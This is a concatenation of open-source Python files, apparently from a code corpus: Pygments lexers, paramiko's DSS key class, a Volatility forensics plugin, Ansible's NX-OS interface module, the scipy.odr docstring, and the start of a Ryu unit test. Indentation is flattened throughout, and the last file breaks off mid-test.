"""
Lexer for `Flatline <https://github.com/bigmlcom/flatline>`_ expressions.
.. versionadded:: 2.2
"""
name = 'Flatline'
aliases = ['flatline']
filenames = []
mimetypes = ['text/x-flatline']
special_forms = ('let',)
builtins = (
"!=", "*", "+", "-", "<", "<=", "=", ">", ">=", "abs", "acos", "all",
"all-but", "all-with-defaults", "all-with-numeric-default", "and",
"asin", "atan", "avg", "avg-window", "bin-center", "bin-count", "call",
"category-count", "ceil", "cond", "cond-window", "cons", "cos", "cosh",
"count", "diff-window", "div", "ensure-value", "ensure-weighted-value",
"epoch", "epoch-day", "epoch-fields", "epoch-hour", "epoch-millisecond",
"epoch-minute", "epoch-month", "epoch-second", "epoch-weekday",
"epoch-year", "exp", "f", "field", "field-prop", "fields", "filter",
"first", "floor", "head", "if", "in", "integer", "language", "length",
"levenshtein", "linear-regression", "list", "ln", "log", "log10", "map",
"matches", "matches?", "max", "maximum", "md5", "mean", "median", "min",
"minimum", "missing", "missing-count", "missing?", "missing_count",
"mod", "mode", "normalize", "not", "nth", "occurrences", "or",
"percentile", "percentile-label", "population", "population-fraction",
"pow", "preferred", "preferred?", "quantile-label", "rand", "rand-int",
"random-value", "re-quote", "real", "replace", "replace-first", "rest",
"round", "row-number", "segment-label", "sha1", "sha256", "sin", "sinh",
"sqrt", "square", "standard-deviation", "standard_deviation", "str",
"subs", "sum", "sum-squares", "sum-window", "sum_squares", "summary",
"summary-no", "summary-str", "tail", "tan", "tanh", "to-degrees",
"to-radians", "variance", "vectorize", "weighted-random-value", "window",
"winnow", "within-percentiles?", "z-score",
)
valid_name = r'(?!#)[\w!$%*+<=>?/.#-]+'
tokens = {
'root': [
# whitespaces - usually not relevant
(r'[,\s]+', Text),
# numbers
(r'-?\d+\.\d+', Number.Float),
(r'-?\d+', Number.Integer),
(r'0x-?[a-f\d]+', Number.Hex),
# strings, symbols and characters
(r'"(\\\\|\\"|[^"])*"', String),
(r"\\(.|[a-z]+)", String.Char),
# expression template placeholder
(r'_', String.Symbol),
# highlight the special forms
(words(special_forms, suffix=' '), Keyword),
# highlight the builtins
(words(builtins, suffix=' '), Name.Builtin),
# the remaining functions
(r'(?<=\()' + valid_name, Name.Function),
# find the remaining variables
(valid_name, Name.Variable),
# parentheses
(r'(\(|\))', Punctuation),
],
}
class SnowballLexer(ExtendedRegexLexer):
"""
Lexer for `Snowball <http://snowballstem.org/>`_ source code.
.. versionadded:: 2.2
"""
name = 'Snowball'
aliases = ['snowball']
filenames = ['*.sbl']
_ws = r'\n\r\t '
def __init__(self, **options):
self._reset_stringescapes()
ExtendedRegexLexer.__init__(self, **options)
def _reset_stringescapes(self):
self._start = "'"
self._end = "'"
def _string(do_string_first):
def callback(lexer, match, ctx):
s = match.start()
text = match.group()
string = re.compile(r'([^%s]*)(.)' % re.escape(lexer._start)).match
escape = re.compile(r'([^%s]*)(.)' % re.escape(lexer._end)).match
pos = 0
do_string = do_string_first
while pos < len(text):
if do_string:
match = string(text, pos)
yield s + match.start(1), String.Single, match.group(1)
if match.group(2) == "'":
yield s + match.start(2), String.Single, match.group(2)
ctx.stack.pop()
break
yield s + match.start(2), String.Escape, match.group(2)
pos = match.end()
match = escape(text, pos)
yield s + match.start(), String.Escape, match.group()
if match.group(2) != lexer._end:
ctx.stack[-1] = 'escape'
break
pos = match.end()
do_string = True
ctx.pos = s + match.end()
return callback
def _stringescapes(lexer, match, ctx):
lexer._start = match.group(3)
lexer._end = match.group(5)
return bygroups(Keyword.Reserved, Text, String.Escape, Text,
String.Escape)(lexer, match, ctx)
tokens = {
'root': [
(words(('len', 'lenof'), suffix=r'\b'), Operator.Word),
include('root1'),
],
'root1': [
(r'[%s]+' % _ws, Text),
(r'\d+', Number.Integer),
(r"'", String.Single, 'string'),
(r'[()]', Punctuation),
(r'/\*[\w\W]*?\*/', Comment.Multiline),
(r'//.*', Comment.Single),
(r'[!*+\-/<=>]=|[-=]>|<[+-]|[$*+\-/<=>?\[\]]', Operator),
(words(('as', 'get', 'hex', 'among', 'define', 'decimal',
'backwardmode'), suffix=r'\b'),
Keyword.Reserved),
(words(('strings', 'booleans', 'integers', 'routines', 'externals',
'groupings'), suffix=r'\b'),
Keyword.Reserved, 'declaration'),
(words(('do', 'or', 'and', 'for', 'hop', 'non', 'not', 'set', 'try',
'fail', 'goto', 'loop', 'next', 'test', 'true',
'false', 'unset', 'atmark', 'attach', 'delete', 'gopast',
'insert', 'repeat', 'sizeof', 'tomark', 'atleast',
'atlimit', 'reverse', 'setmark', 'tolimit', 'setlimit',
'backwards', 'substring'), suffix=r'\b'),
Operator.Word),
(words(('size', 'limit', 'cursor', 'maxint', 'minint'),
suffix=r'\b'),
Name.Builtin),
(r'(stringdef\b)([%s]*)([^%s]+)' % (_ws, _ws),
bygroups(Keyword.Reserved, Text, String.Escape)),
(r'(stringescapes\b)([%s]*)(.)([%s]*)(.)' % (_ws, _ws),
_stringescapes),
(r'[A-Za-z]\w*', Name),
],
'declaration': [
(r'\)', Punctuation, '#pop'),
(words(('len', 'lenof'), suffix=r'\b'), Name,
('root1', 'declaration')),
include('root1'),
],
'string': [
(r"[^']*'", _string(True)),
],
'escape': [
(r"[^']*'", _string(False)),
],
}
def get_tokens_unprocessed(self, text=None, context=None):
self._reset_stringescapes()
return ExtendedRegexLexer.get_tokens_unprocessed(self, text, context)
|
bsd-3-clause
|
CptLemming/paramiko
|
paramiko/dsskey.py
|
36
|
6757
|
# Copyright (C) 2003-2007 Robey Pointer <[email protected]>
#
# This file is part of paramiko.
#
# Paramiko is free software; you can redistribute it and/or modify it under the
# terms of the GNU Lesser General Public License as published by the Free
# Software Foundation; either version 2.1 of the License, or (at your option)
# any later version.
#
# Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
# details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Paramiko; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.
"""
DSS keys.
"""
import os
from hashlib import sha1
from Crypto.PublicKey import DSA
from paramiko import util
from paramiko.common import zero_byte
from paramiko.py3compat import long
from paramiko.ssh_exception import SSHException
from paramiko.message import Message
from paramiko.ber import BER, BERException
from paramiko.pkey import PKey
class DSSKey (PKey):
"""
Representation of a DSS key which can be used to sign an verify SSH2
data.
"""
def __init__(self, msg=None, data=None, filename=None, password=None, vals=None, file_obj=None):
self.p = None
self.q = None
self.g = None
self.y = None
self.x = None
if file_obj is not None:
self._from_private_key(file_obj, password)
return
if filename is not None:
self._from_private_key_file(filename, password)
return
if (msg is None) and (data is not None):
msg = Message(data)
if vals is not None:
self.p, self.q, self.g, self.y = vals
else:
if msg is None:
raise SSHException('Key object may not be empty')
if msg.get_text() != 'ssh-dss':
raise SSHException('Invalid key')
self.p = msg.get_mpint()
self.q = msg.get_mpint()
self.g = msg.get_mpint()
self.y = msg.get_mpint()
self.size = util.bit_length(self.p)
def asbytes(self):
m = Message()
m.add_string('ssh-dss')
m.add_mpint(self.p)
m.add_mpint(self.q)
m.add_mpint(self.g)
m.add_mpint(self.y)
return m.asbytes()
def __str__(self):
return self.asbytes()
def __hash__(self):
h = hash(self.get_name())
h = h * 37 + hash(self.p)
h = h * 37 + hash(self.q)
h = h * 37 + hash(self.g)
h = h * 37 + hash(self.y)
# h might be a long by now...
return hash(h)
def get_name(self):
return 'ssh-dss'
def get_bits(self):
return self.size
def can_sign(self):
return self.x is not None
def sign_ssh_data(self, data):
digest = sha1(data).digest()
dss = DSA.construct((long(self.y), long(self.g), long(self.p), long(self.q), long(self.x)))
# generate a suitable k
qsize = len(util.deflate_long(self.q, 0))
while True:
k = util.inflate_long(os.urandom(qsize), 1)
if (k > 2) and (k < self.q):
break
r, s = dss.sign(util.inflate_long(digest, 1), k)
m = Message()
m.add_string('ssh-dss')
# apparently, in rare cases, r or s may be shorter than 20 bytes!
rstr = util.deflate_long(r, 0)
sstr = util.deflate_long(s, 0)
if len(rstr) < 20:
rstr = zero_byte * (20 - len(rstr)) + rstr
if len(sstr) < 20:
sstr = zero_byte * (20 - len(sstr)) + sstr
m.add_string(rstr + sstr)
return m
def verify_ssh_sig(self, data, msg):
if len(msg.asbytes()) == 40:
# spies.com bug: signature has no header
sig = msg.asbytes()
else:
kind = msg.get_text()
if kind != 'ssh-dss':
return 0
sig = msg.get_binary()
# pull out (r, s) which are NOT encoded as mpints
sigR = util.inflate_long(sig[:20], 1)
sigS = util.inflate_long(sig[20:], 1)
sigM = util.inflate_long(sha1(data).digest(), 1)
dss = DSA.construct((long(self.y), long(self.g), long(self.p), long(self.q)))
return dss.verify(sigM, (sigR, sigS))
def _encode_key(self):
if self.x is None:
raise SSHException('Not enough key information')
keylist = [0, self.p, self.q, self.g, self.y, self.x]
try:
b = BER()
b.encode(keylist)
except BERException:
raise SSHException('Unable to create ber encoding of key')
return b.asbytes()
def write_private_key_file(self, filename, password=None):
self._write_private_key_file('DSA', filename, self._encode_key(), password)
def write_private_key(self, file_obj, password=None):
self._write_private_key('DSA', file_obj, self._encode_key(), password)
@staticmethod
def generate(bits=1024, progress_func=None):
"""
Generate a new private DSS key. This factory function can be used to
generate a new host key or authentication key.
:param int bits: number of bits the generated key should be.
:param function progress_func:
an optional function to call at key points in key generation (used
by ``pyCrypto.PublicKey``).
:return: new `.DSSKey` private key
"""
dsa = DSA.generate(bits, os.urandom, progress_func)
key = DSSKey(vals=(dsa.p, dsa.q, dsa.g, dsa.y))
key.x = dsa.x
return key
### internals...
def _from_private_key_file(self, filename, password):
data = self._read_private_key_file('DSA', filename, password)
self._decode_key(data)
def _from_private_key(self, file_obj, password):
data = self._read_private_key('DSA', file_obj, password)
self._decode_key(data)
def _decode_key(self, data):
# private key file contains:
# DSAPrivateKey = { version = 0, p, q, g, y, x }
try:
keylist = BER(data).decode()
except BERException as e:
raise SSHException('Unable to parse key file: ' + str(e))
if (type(keylist) is not list) or (len(keylist) < 6) or (keylist[0] != 0):
raise SSHException('not a valid DSA private key file (bad ber encoding)')
self.p = keylist[1]
self.q = keylist[2]
self.g = keylist[3]
self.y = keylist[4]
self.x = keylist[5]
self.size = util.bit_length(self.p)
|
lgpl-2.1
|
gudcjfdldu/volatility
|
volatility/plugins/mac/dead_procs.py
|
58
|
1515
|
# Volatility
# Copyright (C) 2007-2013 Volatility Foundation
#
# This file is part of Volatility.
#
# Volatility is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Volatility is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Volatility. If not, see <http://www.gnu.org/licenses/>.
#
"""
@author: Andrew Case
@license: GNU General Public License 2.0
@contact: [email protected]
@organization:
"""
import volatility.obj as obj
import volatility.plugins.mac.common as common
import volatility.plugins.mac.list_zones as list_zones
import volatility.plugins.mac.pslist as pslist
class mac_dead_procs(pslist.mac_pslist):
""" Prints terminated/de-allocated processes """
def calculate(self):
common.set_plugin_members(self)
zones = list_zones.mac_list_zones(self._config).calculate()
for zone in zones:
name = str(zone.zone_name.dereference())
if name == "proc":
procs = zone.get_free_elements("proc")
for proc in procs:
yield proc
|
gpl-2.0
|
pwnall/ansible-modules-core
|
network/nxos/nxos_interface.py
|
9
|
22309
|
#!/usr/bin/python
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
#
DOCUMENTATION = '''
---
module: nxos_interface
version_added: "2.1"
short_description: Manages physical attributes of interfaces
description:
- Manages physical attributes of interfaces of NX-OS switches
author: Jason Edelman (@jedelman8)
notes:
- This module is also used to create logical interfaces such as
svis and loopbacks.
- Be cautious of platform specific idiosyncrasies. For example,
when you default a loopback interface, the admin state toggles
on certain versions of NX-OS.
options:
interface:
description:
- Full name of interface, i.e. Ethernet1/1, port-channel10.
required: true
default: null
admin_state:
description:
- Administrative state of the interface.
required: false
default: up
choices: ['up','down']
description:
description:
- Interface description.
required: false
default: null
mode:
description:
- Manage I(Layer2) or I(Layer3) state of the interface.
required: false
default: null
choices: ['layer2','layer3']
state:
description:
- Specify desired state of the resource.
required: true
default: present
choices: ['present','absent','default']
'''
EXAMPLES = '''
# Ensure an interface is a Layer 3 port and that it has the proper description
- nxos_interface: interface=Ethernet1/1 description='Configured by Ansible' mode=layer3 host={{ inventory_hostname }}
# Admin down an interface
- nxos_interface: interface=Ethernet2/1 host={{ inventory_hostname }} admin_state=down
# Remove all loopback interfaces
- nxos_interface: interface=loopback state=absent host={{ inventory_hostname }}
# Remove all logical interfaces
- nxos_interface: interface={{ item }} state=absent host={{ inventory_hostname }}
with_items:
- loopback
- portchannel
- svi
# Admin up all ethernet interfaces
- nxos_interface: interface=ethernet host={{ inventory_hostname }} admin_state=up
# Admin down ALL interfaces (physical and logical)
- nxos_interface: interface=all host={{ inventory_hostname }} admin_state=down
'''
RETURN = '''
proposed:
description: k/v pairs of parameters passed into module
returned: always
type: dict
sample: {"admin_state": "down"}
existing:
description: k/v pairs of existing switchport
type: dict
sample: {"admin_state": "up", "description": "None", "interface": "port-channel101", "mode": "layer2", "type": "portchannel"}
end_state:
description: k/v pairs of switchport after module execution
returned: always
type: dict or null
sample: {"admin_state": "down", "description": "None", "interface": "port-channel101", "mode": "layer2", "type": "portchannel"}
state:
description: state as sent in from the playbook
returned: always
type: string
sample: "present"
updates:
description: command list sent to the device
returned: always
type: list
sample: ["interface port-channel101", "shutdown"]
changed:
description: check to see if a change was made on the device
returned: always
type: boolean
sample: true
'''
def is_default_interface(interface, module):
"""Checks to see if interface exists and if it is a default config
Args:
interface (str): full name of interface, i.e. vlan10,
Ethernet1/1, loopback10
Returns:
True: if interface has default config
False: if it does not have a default config
DNE (str): if the interface does not exist - loopbacks, SVIs, etc.
"""
command = 'show run interface ' + interface
try:
body = execute_show_command(command, module,
command_type='cli_show_ascii')[0]
# module.exit_json(abcd='asdasdfasdf', body=body, c=command)
except IndexError:
body = []
if body:
raw_list = body.split('\n')
found = False
for line in raw_list:
if line.startswith('interface'):
found = True
if found and line and not line.startswith('interface'):
return False
return True
else:
return 'DNE'
def get_available_features(feature, module):
available_features = {}
command = 'show feature'
body = execute_show_command(command, module)
try:
body = body[0]['TABLE_cfcFeatureCtrlTable']['ROW_cfcFeatureCtrlTable']
except (TypeError, IndexError):
return available_features
for each_feature in body:
feature = each_feature['cfcFeatureCtrlName2']
state = each_feature['cfcFeatureCtrlOpStatus2']
if 'enabled' in state:
state = 'enabled'
if feature not in available_features.keys():
available_features[feature] = state
else:
if (available_features[feature] == 'disabled' and
state == 'enabled'):
available_features[feature] = state
return available_features
def get_interface_type(interface):
"""Gets the type of interface
Args:
interface (str): full name of interface, i.e. Ethernet1/1, loopback10,
port-channel20, vlan20
Returns:
type of interface: ethernet, svi, loopback, management, portchannel,
or unknown
"""
if interface.upper().startswith('ET'):
return 'ethernet'
elif interface.upper().startswith('VL'):
return 'svi'
elif interface.upper().startswith('LO'):
return 'loopback'
elif interface.upper().startswith('MG'):
return 'management'
elif interface.upper().startswith('MA'):
return 'management'
elif interface.upper().startswith('PO'):
return 'portchannel'
else:
return 'unknown'
def get_manual_interface_attributes(interface, module):
"""Gets admin state and description of a SVI interface. Hack due to API.
Args:
interface (str): full name of SVI interface, i.e. vlan10
Returns:
dictionary that has two k/v pairs: admin_state & description
if not an svi, returns None
"""
if get_interface_type(interface) == 'svi':
command = 'show interface ' + interface
try:
body = execute_modified_show_for_cli_text(command, module)[0]
except (IndexError, ShellError):
return None
command_list = body.split('\n')
desc = None
admin_state = 'up'
for each in command_list:
if 'Description:' in each:
line = each.split('Description:')
desc = line[1].strip().split('MTU')[0].strip()
elif 'Administratively down' in each:
admin_state = 'down'
return dict(description=desc, admin_state=admin_state)
else:
return None
def get_interface(intf, module):
"""Gets current config/state of interface
Args:
intf (string): full name of interface, i.e. Ethernet1/1, loopback10,
port-channel20, vlan20
Returns:
dictionary that has relevant config/state data about the given
interface based on the type of interface it is
"""
base_key_map = {
'interface': 'interface',
'admin_state': 'admin_state',
'desc': 'description',
}
mode_map = {
'eth_mode': 'mode'
}
loop_map = {
'state': 'admin_state'
}
svi_map = {
'svi_admin_state': 'admin_state',
'desc': 'description'
}
mode_value_map = {
"mode": {
"access": "layer2",
"trunk": "layer2",
"routed": "layer3",
"layer3": "layer3"
}
}
key_map = {}
interface = {}
command = 'show interface ' + intf
try:
body = execute_show_command(command, module)[0]
except IndexError:
body = []
if body:
interface_table = body['TABLE_interface']['ROW_interface']
intf_type = get_interface_type(intf)
if intf_type in ['portchannel', 'ethernet']:
if not interface_table.get('eth_mode'):
interface_table['eth_mode'] = 'layer3'
if intf_type == 'ethernet':
key_map.update(base_key_map)
key_map.update(mode_map)
temp_dict = apply_key_map(key_map, interface_table)
temp_dict = apply_value_map(mode_value_map, temp_dict)
interface.update(temp_dict)
elif intf_type == 'svi':
key_map.update(svi_map)
temp_dict = apply_key_map(key_map, interface_table)
interface.update(temp_dict)
attributes = get_manual_interface_attributes(intf, module)
interface['admin_state'] = str(attributes.get('admin_state',
'nxapibug'))
interface['description'] = str(attributes.get('description',
'nxapi_bug'))
elif intf_type == 'loopback':
key_map.update(base_key_map)
key_map.pop('admin_state')
key_map.update(loop_map)
temp_dict = apply_key_map(key_map, interface_table)
if not temp_dict.get('description'):
temp_dict['description'] = "None"
interface.update(temp_dict)
elif intf_type == 'management':
key_map.update(base_key_map)
temp_dict = apply_key_map(key_map, interface_table)
interface.update(temp_dict)
elif intf_type == 'portchannel':
key_map.update(base_key_map)
key_map.update(mode_map)
temp_dict = apply_key_map(key_map, interface_table)
temp_dict = apply_value_map(mode_value_map, temp_dict)
if not temp_dict.get('description'):
temp_dict['description'] = "None"
interface.update(temp_dict)
interface['type'] = intf_type
return interface
def get_intf_args(interface):
intf_type = get_interface_type(interface)
arguments = ['admin_state', 'description']
if intf_type in ['ethernet', 'portchannel']:
arguments.extend(['mode'])
return arguments
def get_interfaces_dict(module):
"""Gets all active interfaces on a given switch
Returns:
dictionary with interface type (ethernet,svi,loop,portchannel) as the
keys. Each value is a list of interfaces of given interface (key)
type.
"""
command = 'show interface status'
try:
body = execute_show_command(command, module)[0]
except IndexError:
body = {}
interfaces = {
'ethernet': [],
'svi': [],
'loopback': [],
'management': [],
'portchannel': [],
'unknown': []
}
interface_list = body.get('TABLE_interface')['ROW_interface']
for i in interface_list:
intf = i['interface']
intf_type = get_interface_type(intf)
interfaces[intf_type].append(intf)
return interfaces
def normalize_interface(if_name):
"""Return the normalized interface name
"""
def _get_number(if_name):
digits = ''
for char in if_name:
if char.isdigit() or char == '/':
digits += char
return digits
if if_name.lower().startswith('et'):
if_type = 'Ethernet'
elif if_name.lower().startswith('vl'):
if_type = 'Vlan'
elif if_name.lower().startswith('lo'):
if_type = 'loopback'
elif if_name.lower().startswith('po'):
if_type = 'port-channel'
else:
if_type = None
number_list = if_name.split(' ')
if len(number_list) == 2:
number = number_list[-1].strip()
else:
number = _get_number(if_name)
if if_type:
proper_interface = if_type + number
else:
proper_interface = if_name
return proper_interface
def apply_key_map(key_map, table):
new_dict = {}
for key, value in table.items():
new_key = key_map.get(key)
if new_key:
value = table.get(key)
if value:
new_dict[new_key] = str(value)
else:
new_dict[new_key] = value
return new_dict
def apply_value_map(value_map, resource):
for key, value in value_map.items():
resource[key] = value[resource.get(key)]
return resource
def get_interface_config_commands(interface, intf, existing):
"""Generates list of commands to configure on device
Args:
interface (str): k/v pairs in the form of a set that should
be configured on the device
intf (str): full name of interface, i.e. Ethernet1/1
Returns:
list: ordered list of commands to be sent to device
"""
commands = []
desc = interface.get('description')
if desc:
commands.append('description {0}'.format(desc))
mode = interface.get('mode')
if mode:
if mode == 'layer2':
command = 'switchport'
elif mode == 'layer3':
command = 'no switchport'
commands.append(command)
admin_state = interface.get('admin_state')
if admin_state:
command = get_admin_state(interface, intf, admin_state)
commands.append(command)
if commands:
commands.insert(0, 'interface ' + intf)
return commands
def get_admin_state(interface, intf, admin_state):
if admin_state == 'up':
command = 'no shutdown'
elif admin_state == 'down':
command = 'shutdown'
return command
def get_proposed(existing, normalized_interface, args):
# gets proper params that are allowed based on interface type
allowed_params = get_intf_args(normalized_interface)
proposed = {}
# retrieves proper interface params from args (user defined params)
for param in allowed_params:
temp = args.get(param)
if temp:
proposed[param] = temp
return proposed
def smart_existing(module, intf_type, normalized_interface):
# 7K BUG MAY CAUSE THIS TO FAIL
all_interfaces = get_interfaces_dict(module)
if normalized_interface in all_interfaces[intf_type]:
existing = get_interface(normalized_interface, module)
is_default = is_default_interface(normalized_interface, module)
else:
if intf_type == 'ethernet':
module.fail_json(msg='Invalid Ethernet interface provided.',
interface=normalized_interface)
elif intf_type in ['loopback', 'portchannel', 'svi']:
existing = {}
is_default = 'DNE'
return existing, is_default
def execute_config_command(commands, module):
try:
module.configure(commands)
except ShellError:
clie = get_exception()
module.fail_json(msg='Error sending CLI commands',
error=str(clie), commands=commands)
def get_cli_body_ssh(command, response, module):
"""Get response for when transport=cli. This is kind of a hack and mainly
needed because these modules were originally written for NX-API. And
not every command supports "| json" when using cli/ssh. As such, we assume
if | json returns an XML string, it is a valid command, but that the
resource doesn't exist yet.
"""
if 'xml' in response[0]:
body = []
elif 'show run' in command:
body = response
else:
try:
body = [json.loads(response[0])]
except ValueError:
module.fail_json(msg='Command does not support JSON output',
command=command)
return body
def execute_show(cmds, module, command_type=None):
try:
if command_type:
response = module.execute(cmds, command_type=command_type)
else:
response = module.execute(cmds)
except ShellError:
clie = get_exception()
module.fail_json(msg='Error sending {0}'.format(command),
error=str(clie))
return response
def execute_show_command(command, module, command_type='cli_show'):
if module.params['transport'] == 'cli':
command += ' | json'
cmds = [command]
response = execute_show(cmds, module)
body = get_cli_body_ssh(command, response, module)
elif module.params['transport'] == 'nxapi':
cmds = [command]
body = execute_show(cmds, module, command_type=command_type)
return body
def execute_modified_show_for_cli_text(command, module):
cmds = [command]
response = execute_show(cmds, module)
body = response
return body
def flatten_list(command_lists):
flat_command_list = []
for command in command_lists:
if isinstance(command, list):
flat_command_list.extend(command)
else:
flat_command_list.append(command)
return flat_command_list
def main():
argument_spec = dict(
interface=dict(required=True,),
admin_state=dict(default='up', choices=['up', 'down'], required=False),
description=dict(required=False, default=None),
mode=dict(choices=['layer2', 'layer3'], required=False),
state=dict(choices=['absent', 'present', 'default'],
default='present', required=False)
)
module = get_module(argument_spec=argument_spec,
supports_check_mode=True)
interface = module.params['interface'].lower()
admin_state = module.params['admin_state']
description = module.params['description']
mode = module.params['mode']
state = module.params['state']
changed = False
args = dict(interface=interface, admin_state=admin_state,
description=description, mode=mode)
intf_type = get_interface_type(interface)
normalized_interface = normalize_interface(interface)
if normalized_interface == 'Vlan1' and state == 'absent':
module.fail_json(msg='ERROR: CANNOT REMOVE VLAN 1!')
if intf_type == 'svi':
feature = 'interface-vlan'
available_features = get_available_features(feature, module)
svi_state = available_features[feature]
if svi_state == 'disabled':
module.fail_json(
msg='SVI (interface-vlan) feature needs to be enabled first',
)
if intf_type == 'unknown':
module.fail_json(
msg='unknown interface type found-1',
interface=interface)
existing, is_default = smart_existing(module, intf_type, normalized_interface)
proposed = get_proposed(existing, normalized_interface, args)
delta = dict()
commands = []
if state == 'absent':
if intf_type in ['svi', 'loopback', 'portchannel']:
if is_default != 'DNE':
cmds = ['no interface {0}'.format(normalized_interface)]
commands.append(cmds)
elif intf_type in ['ethernet']:
if is_default is False:
cmds = ['default interface {0}'.format(normalized_interface)]
commands.append(cmds)
elif state == 'present':
if not existing:
cmds = get_interface_config_commands(proposed,
normalized_interface,
existing)
commands.append(cmds)
else:
delta = dict(set(proposed.iteritems()).difference(
existing.iteritems()))
if delta:
cmds = get_interface_config_commands(delta,
normalized_interface,
existing)
commands.append(cmds)
elif state == 'default':
if is_default is False:
cmds = ['default interface {0}'.format(normalized_interface)]
commands.append(cmds)
elif is_default == 'DNE':
module.exit_json(msg='interface you are trying to default does'
' not exist')
cmds = flatten_list(commands)
end_state = existing
if cmds:
if module.check_mode:
module.exit_json(changed=True, commands=cmds)
else:
execute_config_command(cmds, module)
if delta.get('mode'): # or delta.get('admin_state'):
# if the mode changes from L2 to L3, the admin state
# seems to change after the API call, so adding a second API
# call to ensure it's in the desired state.
admin_state = delta.get('admin_state') or admin_state
c1 = 'interface {0}'.format(normalized_interface)
c2 = get_admin_state(delta, normalized_interface, admin_state)
cmds2 = [c1, c2]
execute_config_command(cmds2, module)
cmds.extend(cmds2)
changed = True
end_state, is_default = smart_existing(module, intf_type,
normalized_interface)
results = {}
results['proposed'] = proposed
results['existing'] = existing
results['end_state'] = end_state
results['state'] = state
results['updates'] = cmds
results['changed'] = changed
module.exit_json(**results)
from ansible.module_utils.basic import *
from ansible.module_utils.urls import *
from ansible.module_utils.shell import *
from ansible.module_utils.netcfg import *
from ansible.module_utils.nxos import *
if __name__ == '__main__':
main()
|
gpl-3.0
|
jakevdp/scipy
|
scipy/odr/__init__.py
|
41
|
4303
|
"""
=================================================
Orthogonal distance regression (:mod:`scipy.odr`)
=================================================
.. currentmodule:: scipy.odr
Package Content
===============
.. autosummary::
:toctree: generated/
Data -- The data to fit.
RealData -- Data with weights as actual std. dev.s and/or covariances.
Model -- Stores information about the function to be fit.
ODR -- Gathers all info & manages the main fitting routine.
Output -- Result from the fit.
odr -- Low-level function for ODR.
OdrWarning -- Warning about potential problems when running ODR
OdrError -- Error exception.
OdrStop -- Stop exception.
odr_error -- Same as OdrError (for backwards compatibility)
odr_stop -- Same as OdrStop (for backwards compatibility)
Prebuilt models:
.. autosummary::
:toctree: generated/
polynomial
.. data:: exponential
.. data:: multilinear
.. data:: unilinear
.. data:: quadratic
.. data:: polynomial
Usage information
=================
Introduction
------------
Why Orthogonal Distance Regression (ODR)? Sometimes one has
measurement errors in the explanatory (a.k.a., "independent")
variable(s), not just the response (a.k.a., "dependent") variable(s).
Ordinary Least Squares (OLS) fitting procedures treat the data for
explanatory variables as fixed, i.e., not subject to error of any kind.
Furthermore, OLS procedures require that the response variables be an
explicit function of the explanatory variables; sometimes making the
equation explicit is impractical and/or introduces errors. ODR can
handle both of these cases with ease, and can even reduce to the OLS
case if that is sufficient for the problem.
ODRPACK is a FORTRAN-77 library for performing ODR with possibly
non-linear fitting functions. It uses a modified trust-region
Levenberg-Marquardt-type algorithm [1]_ to estimate the function
parameters. The fitting functions are provided by Python functions
operating on NumPy arrays. The required derivatives may be provided
by Python functions as well, or may be estimated numerically. ODRPACK
can do explicit or implicit ODR fits, or it can do OLS. Input and
output variables may be multi-dimensional. Weights can be provided to
account for different variances of the observations, and even
covariances between dimensions of the variables.
The `scipy.odr` package offers an object-oriented interface to
ODRPACK, in addition to the low-level `odr` function.
Additional background information about ODRPACK can be found in the
`ODRPACK User's Guide
<https://docs.scipy.org/doc/external/odrpack_guide.pdf>`_, reading
which is recommended.
Basic usage
-----------
1. Define the function you want to fit against.::
def f(B, x):
'''Linear function y = m*x + b'''
# B is a vector of the parameters.
# x is an array of the current x values.
# x is in the same format as the x passed to Data or RealData.
#
# Return an array in the same format as y passed to Data or RealData.
return B[0]*x + B[1]
2. Create a Model.::
linear = Model(f)
3. Create a Data or RealData instance.::
mydata = Data(x, y, wd=1./power(sx,2), we=1./power(sy,2))
or, when the actual covariances are known::
mydata = RealData(x, y, sx=sx, sy=sy)
4. Instantiate ODR with your data, model and initial parameter estimate.::
myodr = ODR(mydata, linear, beta0=[1., 2.])
5. Run the fit.::
myoutput = myodr.run()
6. Examine output.::
myoutput.pprint()
References
----------
.. [1] P. T. Boggs and J. E. Rogers, "Orthogonal Distance Regression,"
in "Statistical analysis of measurement error models and
applications: proceedings of the AMS-IMS-SIAM joint summer research
conference held June 10-16, 1989," Contemporary Mathematics,
vol. 112, pg. 186, 1990.
"""
# version: 0.7
# author: Robert Kern <[email protected]>
# date: 2006-09-21
from __future__ import division, print_function, absolute_import
from .odrpack import *
from .models import *
from . import add_newdocs
__all__ = [s for s in dir() if not s.startswith('_')]
from numpy.testing import Tester
test = Tester().test
|
bsd-3-clause
|
jazzmes/ryu
|
ryu/tests/unit/app/test_ws_topology.py
|
43
|
1517
|
# Copyright (C) 2013 Stratosphere Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# vim: tabstop=4 shiftwidth=4 softtabstop=4
import unittest
from socket import error as SocketError
import mock
from ryu.app.ws_topology import WebSocketTopology
class Test_ws_topology(unittest.TestCase):
def test_when_sock_error(self):
args = {
'wsgi': mock.Mock(),
}
app = WebSocketTopology(**args)
rpc_client_mock1 = mock.Mock()
config = {
'get_proxy.return_value.event_link_add.side_effect': SocketError,
}
rpc_client_mock1.configure_mock(**config)
rpc_client_mock2 = mock.Mock()
